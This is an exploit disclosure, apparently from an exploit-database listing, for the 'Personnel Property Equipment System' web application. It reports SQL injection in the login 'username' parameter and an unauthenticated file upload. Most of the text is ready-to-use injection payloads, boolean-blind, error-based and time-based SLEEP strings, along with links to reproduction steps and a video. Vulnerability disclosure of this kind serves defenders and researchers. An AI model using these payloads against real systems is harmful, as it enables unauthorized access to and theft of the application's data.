## Title: Personnel Property Equipment-2015-2022 SQLi, Unauthenticated-File-Upload ## Author: nu11secur1ty ## Date: 08.22.2022 ## Vendor Homepage: https://www.trickcode.in/ ## Video vendor: https://www.youtube.com/watch?v=ltSwom8sQAQ ## Software https://www.trickcode.in/2021/03/personnel-property-equipment-system.html ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/trickcode/Personnel-Property-Equipment ## Description: The parameter `username` is vulnerable to SQLi boolean-based blind and Unauthenticated-File-Upload. The attacker can take all information from this system by using these vulnerabilities. Status: Highly Vulnerable [+]Payload: ```mysql --- Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: username=eFysrSeT''' OR NOT 4417=4417 OR 'xXab'='cbaw&password=v9A!p7s!C0 Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=eFysrSeT''' OR (SELECT 1050 FROM(SELECT COUNT(*),CONCAT(0x7162716271,(SELECT (ELT(1050=1050,1))),0x717a6a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR 'wmfc'='yfBD&password=v9A!p7s!C0 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=eFysrSeT''' AND (SELECT 4473 FROM (SELECT(SLEEP(5)))Pghj) OR 'lxYt'='fefH&password=v9A!p7s!C0 --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/trickcode/Personnel-Property-Equipment) ## Proof and Exploit: [href](https://streamable.com/4yavk4)